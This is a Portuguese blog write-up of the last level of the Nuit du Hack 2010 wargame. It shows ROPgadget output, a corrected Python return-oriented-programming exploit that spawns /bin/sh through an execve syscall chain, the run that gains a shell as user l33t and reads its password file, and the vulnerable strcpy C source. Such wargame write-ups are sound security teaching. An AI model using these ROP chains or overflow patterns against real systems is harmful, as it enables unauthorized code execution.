m0nad's Blog

Just another WordPress.com site

Nuit du Hack Level10 – Return-Oriented Programming

with 4 comments

Ultimo level desse wargame 😀

Bem, confesso que vi um vídeo do da tool ROPgadget, do Jonathan Saiwan (http://shell-storm.org/project/ROPgadget/) que usa este level do wargame como demonstração de sua ferramenta.

Mas entendendo o conceito vou tentar passar aqui para vocês.

O método de exploração tende ser ROP, Return-Oriented Programming, que consiste em utilizar ‘gadgets’, que são endereços de instruções de maquina no próprio binário/processo, instruções estas seguidas da instrução ‘ret’, o encadeamento dessas instruções construímos o shellcode.

Ao rodar o ROPgadget, temos o seguinte output


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget
Syntax: ./ROPgadget <option> <binary> [FLAGS]

Options:
 -file Load file
 -g Search gadgets and make payload
 -elfheader Display ELF Header
 -progheader Display Program Header
 -sectheader Display Section Header
 -symtab Display Symbols Table
 -allheader Display ELF/Program/Section/Symbols Header
 -v Version

Flags:
 -bind Set this flag for make a bind shellcode (optional) (Default local exploit)
 -port <port> Set a listen port, optional (Default 1337)
 -importsc <shellcode> Make payload and convert your shellcode in ROP payload
 -filter <word> Word filter (research slowed)
 -only <keyword> Keyword research (research slowed)
 -opcode <opcode> Search a specific opcode on exec segment
 -string <string> Search a specific hard string on read segment ('?' any char)
 -asm <instructions> Search a specific instructions on exec segment
 -limit <value> Limit the display of gadgets
 -map <start-end> Search gadgets on exec segment between two address

Ex:
 ./ROPgadget -file ./smashme.bin -g -bind -port 8080
 ./ROPgadget -file ./smashme.bin -g -importsc "\x6a\x02\x58\xcd\x80\xeb\xf9"
 ./ROPgadget -file ./smashme.bin -g -filter "add %eax" -filter "dec" -bind -port 8080
 ./ROPgadget -file ./smashme.bin -g -only "pop" -filter "eax"
 ./ROPgadget -file ./smashme.bin -g -opcode "\xcd\x80"
 ./ROPgadget -file ./smashme.bin -g -asm "xor %eax,%eax ; ret"
 ./ROPgadget -file ./smashme.bin -g -asm "int \$0x80"
 ./ROPgadget -file ./smashme.bin -g -string "main"
 ./ROPgadget -file ./smashme.bin -g -string "m?in"
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Rodando no binário, ele gera um payload automaticamente.


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget -file /home/level10/level10 -g
Gadgets information
============================================================
0x08048145: pop %edi | ret
0x08048162: add $0xc95b5800,%eax | ret
0x08048204: add $0x14,%esp | pop %ebx | pop %ebp | ret
0x08048207: pop %ebx | pop %ebp | ret
0x08048208: pop %ebp | ret
0x0804824c: call *%eax
0x08048251: mov %esp,%ebp | ret
0x08048254: pop %ebx | ret
0x0804825a: inc %esi | ret
0x0804825c: xor %eax,%eax | pop %edi | ret
0x0804825e: inc %eax | ret
0x08048260: int $0x80
0x0804859e: mov %ebp,%esp | pop %ebp | ret
0x080488db: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048950: call *(%esi)
0x08048ac1: call *(%ebx)
0x08048af5: call *%edx
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080493eb: add $0x08,%esp | pop %ebx | pop %ebp | ret
0x08049457: jmp *%eax
0x0804949e: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08049691: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret
0x080496a8: mov $0xffffffff,%edx | pop %ebp | ret
0x0804977e: pop %ebx | pop %esi | pop %ebp | ret
0x08049832: mov %eax,(%ecx) | pop %ebp | ret
0x080499c8: inc %eax | pop %edi | ret
0x08049bd1: add $0x10,%esp | pop %ebx | pop %ebp | ret
0x0804ac47: add $0xe8,%al | ret
0x0804bee2: jmp *(%esi)
0x0804bf04: mov (%edi),%edi | ret
0x0804c29a: add $0x83,%al | ret
0x0804c4db: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804d69a: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804e7fb: xor %eax,%eax | pop %ebx | pop %ebp | ret
0x0804e8b1: jmp *(%ecx)
0x0804ed52: call *(%eax)
0x0804f1eb: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804fa3e: mov $0x89ffffd9,%esi | ret
0x0804ff52: add $0x0c,%esp | pop %ebx | pop %ebp | ret
0x08050775: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080510db: mov %edx,%edi | ret
0x0805176b: add $0x5d,%al | ret
0x08052032: mov $0xc9fffffa,%edx | ret
0x08052316: pop %esi | pop %ebx | pop %edx | ret
0x08052318: pop %edx | ret
0x08052341: pop %edx | pop %ecx | pop %ebx | ret
0x08052423: mov %edx,%eax | pop %ebp | ret
0x08052486: mov %edx,(%ecx) | pop %ebp | ret
0x0805358f: mov $0xffffffff,%eax | ret
0x0805491e: add $0x89,%al | ret
0x080550a9: push %esp | ret
0x080566ac: call *%ecx
0x08057821: jmp *(%eax)
0x08058a7f: neg %eax | pop %ebp | ret
0x080595cb: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08059ba0: mov $0x89c87d89,%eax | ret
0x0805eab6: mov %ecx,%eax | ret
0x0806462b: add %ebx,%eax | pop %ebx | pop %ebp | ret
0x08066c21: jmp *(%ebx)
0x0806735a: add $0x5d5bc031,%eax | ret
0x08067efd: mov %ebx,%eax | pop %ebx | pop %ebp | ret
0x08068823: mov $0xffffffff,%eax | pop %ebp | ret
0x080691fd: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0806a107: inc %eax | pop %edi | pop %esi | ret
0x0806a109: pop %esi | ret
0x0806a14d: inc %eax | inc %eax | inc %eax | ret
0x0806a14e: inc %eax | inc %eax | ret
0x0806a494: call *%edi
0x0806a6b5: call *%ebx
0x0806a9e4: call *%esi
0x0806c074: xchg %eax,%ebp | ret
0x0806d4c4: mov $0x8390080a,%ebx | ret
0x0806f3c5: sub $0x83,%al | ret
0x0806f506: mov (%edx),%eax | mov (%esp),%ebx | mov %ebp,%esp | pop %ebp | ret
0x0806f95c: mov %edx,%eax | ret
0x0806fb03: add $0x1c,%al | ret
0x0806fb1b: pusha | ret
0x0806ff32: jmp *(%edx)
0x0807241f: sub $0x89,%al | ret
0x08076551: add $0xc9fc5d8b,%eax | ret
0x080788c1: mov %eax,(%edx) | ret
0x08078bb2: xchg %eax,%esp | ret
0x0807ac90: add $0x3c,%esp | ret
0x0807b105: add $0x00000000,%eax | ret
0x0807bc70: add $0xc9,%al | ret
0x0807c5a0: mov $0x89fffffd,%edx | ret
0x0807c6d7: xor $0x83fffff6,%eax | ret
0x0807d760: add $0x21,%al | ret
0x0807de18: call *(%edi)
0x0807efad: add $0xe9,%al | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | ret
0x08085131: push %ebp | ret
0x080857df: jmp *%edx
0x08085f98: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085f9a: pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085fa1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret
0x080869e5: xchg %eax,%edi | ret
0x0808ac54: mov $0x89ffffd1,%eax | ret
0x08092ce9: add $0x1c,%esp | pop %ebx | pop %ebp | ret
0x08096fc2: xchg %eax,%esi | ret
0x08096ff7: popa | ret
0x0809806f: call *(%ecx)
0x0809878b: mov $0x83fffffd,%eax | ret
0x080991c1: not %eax | ret
0x0809951f: xor %eax,%eax | ret
0x0809a89f: sub $0xc9000005,%eax | ret
0x0809e3b6: xor $0x89ffffff,%eax | ret
0x0809e3d5: xor $0x89000000,%eax | ret
0x0809ff72: mov $0x83000002,%edx | ret
0x080a1080: add $0x18,%esp | pop %ebx | pop %ebp | ret
0x080a16f9: dec %eax | ret
0x080a1749: push %eax | ret
0x080a1759: pop %esp | ret
0x080a1769: pop %eax | ret
0x080a1971: add $0x24,%esp | pop %ebx | pop %ebp | ret
0x080a310a: mov $0x81000010,%edi | ret
0x080a410f: mov $0x81000000,%edx | ret
0x080a41c9: mov (%esp),%ecx | ret
0x080a41cd: mov (%esp),%ebx | ret
0x080a67b8: sub $0x04,%ebx | call *%eax
0x080a6816: ror %ecx | ret
0x080a937e: mov $0xc2c1c0bf,%esi | ret
0x080bc466: xchg %eax,%esi | pop %ebp | ret
0x080bc64e: push %esi | ret
0x080bc698: xchg %eax,%esp | pop %ebp | ret
0x080bf967: jmp *(%edi)
0x080c01cb: call *(%edx)
0x080c17c7: jmp *%esi
0x080c1901: push %edx | ret
0x080c3313: jmp *%edi
0x080c3733: add $0x44,%al | ret
0x080c3a42: dec %ebx | ret

Unique gadgets found: 134

Possible combinations.
============================================================

[+] Combo 1 was found - Possible with the following gadgets. (execve)
 - 0x08048260 => int $0x80
 - 0x0804825e => inc %eax | ret
 - 0x0809951f => xor %eax,%eax | ret
 - 0x080788c1 => mov %eax,(%edx) | ret
 - 0x080a1769 => pop %eax | ret
 - 0x08048254 => pop %ebx | ret
 - 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
 - 0x08052318 => pop %edx | ret
 - 0x080c6001 => .data Addr
 Payload
 # execve /bin/sh generated by RopGadget v3.3
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6001) # @ .data
 p += pack("<I", 0x080a1769) # pop %eax | ret
 p += "/bin"
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6005) # @ .data + 4
 p += pack("<I", 0x080a1769) # pop %eax | ret
 p += "//sh"
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x080c6001) # @ .data
 p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x08048260) # int $0x80
 EOF Payload
[-] Combo 1 was not found, missing instruction(s).
 - .......... => sysenter
 - 0x0804825e => inc %eax | ret
 - 0x0809951f => xor %eax,%eax | ret
 - 0x080788c1 => mov %eax,(%edx) | ret
 - 0x080a1769 => pop %eax | ret
 - 0x08048254 => pop %ebx | ret
 - 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
 - 0x08052318 => pop %edx | ret
 - 0x08048208 => pop %ebp | ret
 - 0x080c6001 => .data Addr
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Percebemos que ele usa a área de data para colocar a string /bin//sh.

Primeiro usa os gadgets de pop %edx | ret, para colocar o endereço de data em edx.


p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data

Usa o pop %eax | ret para pegar um pedaço da string


p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"

E o mov %eax,(%edx) | ret para mover para a posição de data,


p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret

Assim colocamos a string /bin//sh num lugar com permissão de escrita, incluindo o null byte usando o gadget xor %eax, %eax.

p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret

No final, ele usa o xor %eax,%eax | ret para zerar o %eax, e depois inc %eax | ret, para colocar o valor da syscall execve em eax e logo depois chama o int 0x80.


p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80

Bem, mas se rodar este exploit, ele vai dar um segfault, isso é por causa da parte do meio.


p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8

Ou seja, o que deveria ser é o ebx estar com o endereço da string /bin//sh, que esta em data, no endereço 0x080c6001, e ecx e edx, apontando pro null byte, que esta em data + 8, mas o ROPgadget, deixou o ebx apontando para 0x42424242.


p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding

Modificando o exploit aqui, ficou.


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ cat exploit.py
#!/usr/bin/python2
# Test RopGadget payload in ndh_rop binary
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
#
# poc: ./ndh_rop "$(python2 ./exploit.py)"

from struct import pack

p = "a" * 12
# Generated by RopGadget v3.0
# execve /bin/sh generated by RopGadget v3.3
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6005) # @ .data + 4
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80
print p
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Executando…


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ /home/level10/level10 "$(python ./exploit.py)"
ROP me if you can :]
-> aaaaaaaaaaaa`

/bin�`

//sh�# `
 � �A# `
 `
 `
 � ^�^�^�^�^�^�^�^�^�^�^�`�
$ id
uid=1010(level10) gid=1010(level10) euid=1000(l33t) groups=1000(l33t),1010(level10)
$ whoami
l33t
$ cat /home/l33t/passwd
4JS!sf.
$

l33t! 😀

Logando no l33t, não temos desafio, apenas o código do level10


l33t@wargame2k10:~$ cat rop.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level10 level10.c -static -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level10

void rop()
{
 __asm("ret");

__asm("pop %ebx");
 __asm("ret");

__asm("nop");
 __asm("movl %esi, %edx");
 __asm("pop %esi");
 __asm("inc %esi");
 __asm("ret");

__asm("xor %eax, %eax");
 __asm("inc %eax");
 __asm("ret");

__asm("int $0x80");
}

void vuln(char *buff)
{
 char tmp[8] = {'\0'};

strcpy(tmp, buff);
 printf("-> %s\n", tmp);
}

int main(int argc, char *argv[])
{
 if(argc != 2) {
 printf("%s <arg>\n", argv[0]);
 exit(0);
 }
 printf("ROP me if you can :]\n");

vuln(argv[1]);
 return 0;
}
l33t@wargame2k10:~$

É isso ai wargame zerado 😀

Anúncios

Written by m0nad

janeiro 20, 2012 às 5:44 pm

Publicado em Assembly, C, Segurança, Wargames

4 Respostas

Subscribe to comments with RSS.

  1. detono brother, parabéns… sempre surpreendendo… l33t de mais , soh viajei no exemplo que tu modifico mais relendo eu entendi … bom é isso aloha o/

    cooler51

    janeiro 20, 2012 at 6:37 pm

  2. acho que é o único material em PT de ROP xD

    cooler51

    janeiro 20, 2012 at 7:44 pm

  3. Muito bom material!!! Gosto desse blog porque o m0nad trás técnicas e procedimentos interessantes, não só aquele repeteco que a gente vê em 300 blogs de sec em english1

    Dony - heappie0verflow

    abril 16, 2012 at 2:12 pm

    • Obrigado pelo comentário, espero estar postando mais coisas legais, abraços

      m0nad

      abril 16, 2012 at 5:31 pm


Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s

%d blogueiros gostam disto: